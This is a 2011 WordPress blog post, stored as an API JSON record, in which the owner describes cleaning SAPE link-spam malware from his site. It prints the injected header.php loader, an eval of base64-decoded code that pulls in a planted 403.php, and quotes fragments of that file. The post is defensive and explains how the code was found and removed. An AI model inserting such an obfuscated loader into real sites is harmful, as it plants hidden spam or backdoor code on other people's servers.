{"id":4224,"date":"2011-06-07T19:02:49","date_gmt":"2011-06-08T02:02:49","guid":{"rendered":"http:\/\/lee.org\/blog\/?p=4224"},"modified":"2011-06-08T15:45:43","modified_gmt":"2011-06-08T22:45:43","slug":"blog-hacked%e2%80%a6-cleaned-sape-eval-base64","status":"publish","type":"post","link":"https:\/\/www.lee.org\/blog\/2011\/06\/07\/blog-hacked%e2%80%a6-cleaned-sape-eval-base64\/","title":{"rendered":"Blog Hacked\u2026 Cleaned: SAPE eval base64"},"content":{"rendered":"

\"\"<\/a>My WordPress blog had been hacked. It displayed ads for stupid things in the far lower right corner of some blog pages. It looks like it displayed ads on just 1 in 10 of my pages, especially “Category” pages. You might want to take a peek on your own WordPress blog to make sure it hasn’t happened to you.<\/p>\n

Here’s where the bad code was and how I fixed it.<\/p>\n

The header.php file of my theme had been altered. It began:
\n
\n<?define('USE_DIRA', '\/blog\/wp-content\/themes\/default\/images\/'); @eval(@base64_decode(\"ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5VU0VfRElSQS4iNDAzLnBocCIpO3JldHVybiAoJGNoZWUpO31vYl9zdGFydCgiY2FsbGJhY2siKTs=\"));?>
\n<\/code><\/p>\n

That code was obviously running code in my \/blog\/wp-content\/themes\/default\/images\/ directory. <\/p>\n

Curiously, the “modified date” on the header.php file must have been hacked. I know this because the file has a “last modifed” date of April 2009, however the backup of my website in October 2010 doesn’t have the spamming code. Therefore, the hacked code must have been added more recently.<\/p>\n

2 files had been added to the \/blog\/wp-content\/themes\/default\/images\/ directory on the blog:
\n403.php
\nlinks.db<\/p>\n

Here are the most suspicious parts of 403.php
\n
\ndefine('_SAPE_USER', '466c19cd8253185aebaab9f182431010');
\n...
\neval(@base64_decode(\"JGJvdGlwcyA9IGFycmF5KAkN
\n<\/code><\/p>\n

“SAPE” is a known malware (via<\/a>)<\/p>\n

You should never have any “eval base64” code in your WordPress installation. It’s almost always some piece of code trying to hide itself.
\n————————————————–<\/p>\n

I removed the malicious code from my header.php and deleted 403.php and links.db from the default theme. Done.
\nUpdate<\/strong>: read the comments!<\/p>\n","protected":false},"excerpt":{"rendered":"

My WordPress blog had been hacked. It displayed ads for stupid things in the far lower right corner of some blog pages. It looks like it displayed ads on just 1 in 10 of my pages, especially “Category” pages. You might want to take a peek on your own WordPress blog to make sure it […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-4224","post","type-post","status-publish","format-standard","hentry","category-geekery"],"_links":{"self":[{"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/posts\/4224","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/comments?post=4224"}],"version-history":[{"count":1,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/posts\/4224\/revisions"}],"predecessor-version":[{"id":4226,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/posts\/4224\/revisions\/4226"}],"wp:attachment":[{"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/media?parent=4224"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/categories?post=4224"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/tags?post=4224"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}